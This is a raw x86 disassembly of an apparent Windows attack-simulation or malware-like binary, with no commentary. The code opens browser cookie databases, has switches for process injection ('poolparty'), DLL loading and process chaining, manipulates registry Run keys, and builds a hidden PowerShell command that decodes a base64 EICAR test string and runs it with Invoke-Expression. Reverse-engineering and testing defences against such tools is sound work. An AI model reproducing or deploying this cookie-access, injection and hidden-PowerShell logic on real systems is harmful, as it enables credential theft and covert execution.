movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
movlpd qword [ebp - 0x7c], xmm0
movlpd qword [ebp - 0x74], xmm0
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x403ceb
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x44
lea eax, [ebp - 0x6c]
push 0
push eax
call fcn.004378c0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
movups xmm0, xmmword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x20]
push eax
movups xmmword [ebp - 0xb0], xmm0
lea eax, [ebp - 0xb0]
movups xmm0, xmmword [ebp - 0x5c]
push eax
push 0
push 0
movups xmmword [ebp - 0xa0], xmm0
push 0
movups xmm0, xmmword [ebp - 0x4c]
push 0
push 0
movups xmmword [ebp - 0x90], xmm0
push 0
movups xmm0, xmmword [ebp - 0x3c]
push str.__modifyregistry
lea eax, [ebp - 0x328]
movups xmmword [ebp - 0x80], xmm0
push eax
xorps xmm0, xmm0
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x406e1d
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x406e1d
cmp byte [ebp - 0x3210], 0
je 0x403e9d
push str.2CF63CF5_F5A1_411F_8597_534562F3C889
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [ebp - 0x3244], eax
test eax, eax
je 0x403e22
push 0x1388
call dword [ebp - 0x324c]
push dword [ebp - 0x3244]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [edi - 0x10]
mov byte [ebp - 4], 7
or edi, 0xffffffff
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403ddb
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, edi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403dff
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x4074de
lfence
mov ecx, dword [esi]
push esi
jmp 0x4074d9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea edx, [edi - 0x10]
mov dword [ebp - 0x3244], eax
or edi, 0xffffffff
mov byte [ebp - 4], 7
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x403e4f
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, edi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403e73
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x403e92
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x3244]
jmp 0x4074e0
cmp byte [ebp - 0x31e8], 0
mov eax, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x31f0], eax
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0x3214], eax
je 0x404416
cmp dword [edi - 0xc], 0
jge 0x403ecb
or eax, 0xffffffff
jmp 0x403ee6
push str._chrome
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403ee2
or eax, 0xffffffff
jmp 0x403ee6
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3210], eax
jge 0x403efe
mov eax, 0xffffffff
jmp 0x403f19
push str._edge
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403f15
or eax, 0xffffffff
jmp 0x403f19
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x31ec], eax
jge 0x403f2f
or ecx, 0xffffffff
jmp 0x403f4c
push str._firefox
push edi
call fcn.00436da6
mov ecx, eax
add esp, 8
test ecx, ecx
jne 0x403f48
or ecx, 0xffffffff
jmp 0x403f4c
sub ecx, edi
sar ecx, 1
shr ecx, 0x1f
xor cl, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3204], ecx
jge 0x403f63
or eax, 0xffffffff
jmp 0x403f84
push str._opera
push edi
call fcn.00436da6
mov ecx, dword [ebp - 0x3204]
add esp, 8
test eax, eax
jne 0x403f80
or eax, 0xffffffff
jmp 0x403f84
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp byte [ebp - 0x3210], 0
mov dword [ebp - 0x31fc], eax
jne 0x403fc5
cmp byte [ebp - 0x31ec], 0
jne 0x403fc5
test cl, cl
jne 0x403fc5
test al, al
jne 0x403fc5
mov byte [ebp - 0x31fc], 1
mov byte [ebp - 0x3210], 1
mov byte [ebp - 0x31ec], 1
mov byte [ebp - 0x3204], 1
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x40752d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x31e8], esi
mov dword [ebp - 0x3248], esi
mov byte [ebp - 4], 0x10
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407537
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x31f8], eax
cmp byte [ebp - 0x3210], 0
mov byte [ebp - 4], 0x11
je 0x404077
lea eax, [ebp - 0x31f8]
push eax
push 0x1c
call fcn.004075d0
test al, al
je 0x404077
push dword [ebp - 0x31f8]
lea eax, [ebp - 0x3248]
push str._sGoogleChromeUser_DataDefaultNetworkCookies
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x3248]
add esp, 0xc
mov dword [ebp - 0x31e8], esi
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push esi
call dword [ebp - 0x3214]
cmp eax, 0xffffffff
je 0x404077
push eax
call dword [ebp - 0x31f0]
cmp byte [ebp - 0x31ec], 0
je 0x4040dd
lea eax, [ebp - 0x31f8]
push eax
push 0x1c
call fcn.004075d0
test al, al
je 0x4040dd
push dword [ebp - 0x31f8]
lea eax, [ebp - 0x3248]
push str._sMicrosoftEdgeUser_DataDefaultNetworkCookies
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x3248]
add esp, 0xc
mov dword [ebp - 0x31e8], esi
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push esi
call dword [ebp - 0x3214]
cmp eax, 0xffffffff
je 0x4040dd
push eax
call dword [ebp - 0x31f0]
cmp byte [ebp - 0x31fc], 0
je 0x404143
lea eax, [ebp - 0x31f8]
push eax
push 0x1a
call fcn.004075d0
test al, al
je 0x404143
push dword [ebp - 0x31f8]
lea eax, [ebp - 0x3248]
push str._sOpera_SoftwareOpera_StableNetworkCookies
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x3248]
add esp, 0xc
mov dword [ebp - 0x31e8], esi
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push esi
call dword [ebp - 0x3214]
cmp eax, 0xffffffff
je 0x404143
push eax
call dword [ebp - 0x31f0]
cmp byte [ebp - 0x3204], 0
je 0x4043ce
lea eax, [ebp - 0x31f8]
push eax
push 0x1a
call fcn.004075d0
test al, al
je 0x4043ce
push str.MozillaFirefoxProfiles
lea ecx, [ebp - 0x31f8]
call fcn.0040ae00
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x46ef2c
lea edx, [ebp - 0x31f8]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x32c8]
call fcn.0040a140
add esp, 4
lea ecx, [ebp - 0x2fb4]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edx, dword [ebp - 0x32c8]
or ecx, 0xffffffff
mov dword [ebp - 0x3210], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4041e4
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x3210]
cmp eax, 0xffffffff
je 0x4043c6
mov esi, dword [sym.imp.KERNEL32.DLL_FindNextFileW]
or edi, 0xffffffff
nop word [eax + eax]
mov ecx, 0x46ef34
lea eax, [ebp - 0x2f88]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404236
test dx, dx
je 0x404232
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404236
add eax, 4
add ecx, 4
test dx, dx
jne 0x404210
xor eax, eax
jmp 0x40423b
sbb eax, eax
or eax, 1
test eax, eax
je 0x404307
mov ecx, 0x46ef38
lea eax, [ebp - 0x2f88]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404276
test dx, dx
je 0x404272
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404276
add eax, 4
add ecx, 4
test dx, dx
jne 0x404250
xor eax, eax
jmp 0x40427b
sbb eax, eax
or eax, 1
test eax, eax
je 0x404307
test byte [ebp - 0x2fb4], 0x10
je 0x404307
lea eax, [ebp - 0x2f88]
push eax
lea ecx, [ebp - 0x31ec]
call fcn.0040ac50
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x31fc], eax
cmp eax, dword [ebp - 0x14]
je 0x4042d3
mov ecx, dword [ebp - 0x31ec]
lea ecx, [ecx - 0x10]
call fcn.0040c960
mov ecx, dword [ebp - 0x31fc]
add eax, 0x10
mov dword [ecx], eax
add dword [ebp - 0x18], 4
jmp 0x4042e3
lea ecx, [ebp - 0x31ec]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040ded0
mov byte [ebp - 4], 0x12
mov eax, edi
mov edx, dword [ebp - 0x31ec]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404307
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x2fb4]
push eax
push dword [ebp - 0x3210]
call esi
test eax, eax
jne 0x404200
push dword [ebp - 0x3210]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
sub eax, edx
mov edi, dword [ebp - 0x3230]
mov esi, dword [ebp - 0x31e8]
sar eax, 2
mov dword [ebp - 0x31fc], ecx
test eax, eax
jle 0x4043c6
mov edi, dword [ebp - 0x31f0]
nop word [eax + eax]
push dword [edx + ecx*4]
lea eax, [ebp - 0x3248]
push dword [ebp - 0x31f8]
push str._s_scookies.sqlite
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x3248]
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push esi
call dword [ebp - 0x3214]
cmp eax, 0xffffffff
je 0x4043a4
push eax
call edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x31fc]
mov edx, dword [ebp - 0x1c]
inc ecx
sub eax, edx
mov dword [ebp - 0x31fc], ecx
sar eax, 2
cmp ecx, eax
jl 0x404360
mov edi, dword [ebp - 0x3230]
lea ecx, [ebp - 0x1c]
call fcn.00409d20
mov byte [ebp - 4], 0x10
or eax, 0xffffffff
mov edx, dword [ebp - 0x31f8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4043f3
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 8
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404419
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x404419
or esi, 0xffffffff
cmp byte [ebp - 0x3254], 0
je 0x4044b9
cmp dword [edi - 0xc], 0
jl 0x407477
push str._runcommand
push edi
call fcn.00436da6
add esp, 8
test eax, eax
je 0x407477
sub eax, edi
sar eax, 1
js 0x407477
lfence
push dword [edi - 0xc]
add eax, 0xc
lea ecx, [ebp - 0x322c]
push eax
lea eax, [ebp - 0x31fc]
push eax
call fcn.0040a570
push 0x46ef6c
lea ecx, [ebp - 0x31fc]
mov byte [ebp - 4], 0x14
call fcn.0040a6c0
mov esi, dword [ebp - 0x31fc]
push esi
call fcn.004412f8
add esp, 4
mov byte [ebp - 4], 8
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407477
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x407477
cmp dword [edi - 0xc], 0
jl 0x40464d
push 0x46ef70
push edi
call fcn.00436da6
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x40464d
sub ecx, edi
sar ecx, 1
js 0x40464d
lfence
mov eax, dword [edi - 0xc]
sub eax, ecx
lea ecx, [ebp - 0x322c]
push eax
lea eax, [ebp - 0x3204]
push eax
call fcn.0040a460
mov byte [ebp - 4], 0x15
xor ecx, ecx
mov eax, dword [ebp - 0x3204]
mov byte [ebp - 0x3225], 0
mov edx, dword [eax - 0xc]
mov dword [ebp - 0x31e8], edx
test edx, edx
jle 0x4045ad
lea edi, [ecx + 0x20]
nop word [eax + eax]
lea esi, [ecx + ecx]
cmp word [eax + esi], 0x2d
jne 0x404583
cmp byte [ebp - 0x3225], 0
jne 0x40457f
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, dword [ebp - 0x31e8]
or ecx, edx
mov byte [ebp - 0x3225], 1
jge 0x404579
lfence
push dword [ebp - 0x31e8]
lea ecx, [ebp - 0x3204]
call fcn.0040cbe0
mov eax, dword [ebp - 0x3204]
mov edx, dword [ebp - 0x31e8]
mov word [esi + eax], di
lea ecx, [esi + 2]
sar ecx, 1
cmp ecx, edx
jl 0x404530
cmp byte [ebp - 0x3225], 0
mov edi, dword [ebp - 0x3230]
je 0x4045ad
cmp edx, dword [eax - 8]
jg 0x407541
xor ecx, ecx
mov dword [eax - 0xc], edx
mov word [eax + edx*2], cx
push 0x46ec48
lea ecx, [ebp - 0x3204]
call fcn.0040a6c0
mov esi, dword [ebp - 0x3204]
cmp dword [esi - 0xc], 0
jl 0x404600
push str.poolparty_
push esi
call fcn.00436da6
add esp, 8
test eax, eax
je 0x404600
sub eax, esi
sar eax, 1
jne 0x404600
push ecx
lea ecx, [esi - 0x10]
mov dword [ebp - 0x3254], esp
call fcn.0040c960
mov edx, esp
add eax, 0x10
xor ecx, ecx
mov dword [edx], eax
call fcn.00418470
jmp 0x40461b
push ecx
lea ecx, [esi - 0x10]
mov dword [ebp - 0x3254], esp
call fcn.0040c960
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
call fcn.0041b370
mov ecx, dword [ebp - 0x3200]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 8
add esp, 4
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test cl, cl
je 0x406e0e
test eax, eax
jg 0x404653
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x3200]
cmp byte [ebp - 0x32cc], 0
je 0x4046be
push ecx
mov ecx, esp
mov dword [ebp - 0x3208], esp
push str._loaddll
call fcn.0040ac50
push ecx
mov byte [ebp - 4], 0x16
mov ecx, esp
push dword [ebp - 0x320c]
call fcn.0040ac50
lea ecx, [ebp - 0x31fc]
mov byte [ebp - 4], 8
call fcn.004027d0
add esp, 8
push dword [ebp - 0x31fc]
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0x3e8
call dword [ebp - 0x324c]
mov edx, dword [ebp - 0x31fc]
add edx, 0xfffffff0
jmp 0x404499
cmp byte [ebp - 0x3268], 0
je 0x4046d8
call fcn.00407af0
mov cl, 1
call fcn.00413060
jmp 0x407477
cmp byte [ebp - 0x3280], 0
je 0x404949
push ecx
mov ecx, esp
mov dword [ebp - 0x3208], esp
push str._chainprocess
call fcn.0040ac50
push ecx
mov byte [ebp - 4], 0x17
mov esi, esp
mov dword [ebp - 0x3220], esi
mov ecx, dword [ebp - 0x31e4]
lea ecx, [ecx - 0x10]
call fcn.0040c960
add eax, 0x10
lea ecx, [ebp - 0x31ec]
mov dword [esi], eax
mov byte [ebp - 4], 8
call fcn.004027d0
mov byte [ebp - 4], 0x18
push dword [ebp - 0x31ec]
call fcn.00440b8f
add esp, 0xc
lea esi, [eax - 1]
test esi, esi
jg 0x404752
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x31ec]
add edx, 0xfffffff0
jmp 0x404496
push 0
lea eax, [ebp - 0x31fc]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4047c2
push 0x1000
mov byte [ebp - 0x1358], al
lea eax, [ebp - 0x2358]
push 0x73
push eax
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0x2358]
push 0x1000
push eax
push 1
push 0
push 0x46efec
push dword [ebp - 0x31fc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x31fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x40754b
lfence
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x31e8], eax
push esi
lea eax, [ebp - 0x31e8]
mov byte [ebp - 4], 0x19
push str._chainprocess__d
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x31e8]
xorps xmm0, xmm0
add esp, 0xc
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x6c], 0x44
cmp dword [esi - 4], 1
jle 0x404853
push dword [esi - 0xc]
lea ecx, [ebp - 0x31e8]
call fcn.0040c0d0
mov esi, dword [ebp - 0x31e8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x40488b
push dword [ebp - 0x20]
call dword [ebp - 0x31f0]
push dword [ebp - 0x1c]
call dword [ebp - 0x31f0]
push 0x64
call dword [ebp - 0x324c]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 0x18
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4048b4
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x31ec]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4048d8
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
add edi, 0xfffffff0
mov eax, esi
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x4048f6
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40491a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x31f4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40493f
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 0x4d2
jmp 0x4074e0
cmp byte [ebp - 0x3284], 0
je 0x404a7e
mov ax, word [0x46d654]
xorps xmm0, xmm0
push 0x206
mov word [ebp - 0x534], ax
lea eax, [ebp - 0x532]
push 0
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x6c], 0x44
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0x534]
push eax
push 0
push 0
push 0x29
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x534]
push eax
lea ecx, [ebp - 0x3280]
call fcn.0040ac50
mov byte [ebp - 4], 0x1a
push str._svchost.exe
mov edx, eax
lea ecx, [ebp - 0x3284]
call fcn.0040a140
add esp, 4
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x46d654
push dword [eax]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov edx, dword [ebp - 0x3284]
mov ecx, esi
add edx, 0xfffffff0
mov dword [ebp - 0x3268], eax
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x404a36
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x3280]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404a5a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x3268], 0
je 0x406e1d
push dword [ebp - 0x20]
call dword [ebp - 0x31f0]
push dword [ebp - 0x1c]
call dword [ebp - 0x31f0]
jmp 0x406e1d
test cl, cl
je 0x404b0f
mov ax, word [0x46d654]
xorps xmm0, xmm0
push 0x206
mov word [ebp - 0x534], ax
lea eax, [ebp - 0x532]
push 0
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x6c], 0x44
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0x534]
push eax
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x534]
push eax
lea ecx, [ebp - 0x3280]
call fcn.0040ac50
mov byte [ebp - 4], 0x1b
jmp 0x4049da
push 0xa0a
lea eax, [ebp - 0x1148]
push 0
push eax
call fcn.004378c0
add esp, 0xc
cmp byte [ebp - 0x32b8], 0
je 0x404b70
push 0x800
lea eax, [ebp - 0x1b58]
push 0
push eax
call fcn.004378c0
push str.Write_Host_Before_invoke_eicar___base64WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCoNCg___bytes_Convert_::FromBase64String__base64____string_System.Text.Encoding_::Unicode.GetString__bytes___Write_Host_Invoke_Expression__Invoke_Expression__string
push str.powershell.exe__Sta__NoLogo__NonInteractive__NoProfile__ExecutionPolicy_Bypass__WindowStyle_Hidden__Command___hs_
lea eax, [ebp - 0x1b58]
push 0x400
push eax
call fcn.004011b0
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
add esp, 0x20
jmp 0x407477
cmp byte [ebp - 0x3298], 0
mov eax, dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
mov dword [ebp - 0x31e8], eax
lea eax, [ebp - 0x1148]
push eax
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0
push 0
mov dword [ebp - 0x3200], eax
jne 0x404bcc
push 0x10
push 0
call eax
push str.Sentry_
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
add esp, 0xc
lea eax, [ebp - 0x1148]
push 0
push eax
push 0
call dword [ebp - 0x31e8]
jmp 0x404beb
push 0xb
push 0
call eax
push 0x46e6b0
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
add esp, 0xc
lea ecx, [ebp - 0x1148]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404bf4
sub ecx, edx
lea eax, [ebp - 0x1148]
sar ecx, 1
push ecx
push eax
lea eax, [ebp - 0x328]
push eax
call fcn.00441e75
add esp, 0xc
test eax, eax
jne 0x404cff
mov edi, dword [ebp - 0x324c]
nop dword [eax + eax]
push str.GlobalAlphaKiller
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
jne 0x404c4c
push 0x64
call edi
jmp 0x404c30
push eax
call dword [ebp - 0x31f0]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 4
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
lea eax, [ebp - 0x328]
push 0x5c
push eax
call fcn.004371e2
mov edi, dword [ebp - 0x3230]
add esp, 8
test eax, eax
je 0x407477
add eax, 2
push 0x2e
push eax
mov dword [ebp - 0x3298], eax
call fcn.004371e2
add esp, 8
test eax, eax
je 0x407477
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x31ec]
push eax
push 2
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
je 0x407477
test eax, eax
jne 0x407477
push dword [ebp - 0x3298]
push dword [ebp - 0x31ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x31ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407477
cmp byte [ebp - 0x3258], 0
jne 0x407316
cmp byte [ebp - 0x32e8], 0
jne 0x407316
cmp byte [ebp - 0x32e0], 0
je 0x404d2f
push str.start__B_cmd__c__C:Program_Filesinternet_exploreriexplore.exe__www.google.com
call fcn.004412f8
add esp, 4
cmp byte [ebp - 0x3294], 0
je 0x404d9b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x6c], 0x44
push eax
lea eax, [ebp - 0x6c]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x46d654
lea eax, [ebp - 0x328]
movlpd qword [ebp - 0x68], xmm0
push eax
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jmp 0x404a61
cmp byte [ebp - 0x329c], 0
je 0x405225
lea eax, [ebp - 0x328]
mov dword [ebp - 0x3214], eax
mov ecx, eax
mov ax, word [ebp - 0x328]
test ax, ax
je 0x404de9
movzx edx, ax
cmp dx, 0x2f
je 0x404dd6
cmp dx, 0x5c
je 0x404dd6
add ecx, 2
jmp 0x404ddf
add ecx, 2
mov dword [ebp - 0x3214], ecx
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x404dc5
push 0x800
lea eax, [ebp - 0x2d64]
push 0
push eax
call fcn.004378c0
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x2d64]
push str.cmd.exe__c_start__S.M.A.R.T_BgAlphaKiller___B___s___spawnProcess__exit
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
mov dword [ebp - 0x3234], 0
xor edi, edi
mov dword [ebp - 0x31e0], 0x22c
push edi
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x3210], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x404ea1
lea eax, [ebp - 0x31e0]
push eax
push dword [ebp - 0x3210]
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x404ea1
nop word [eax + eax]
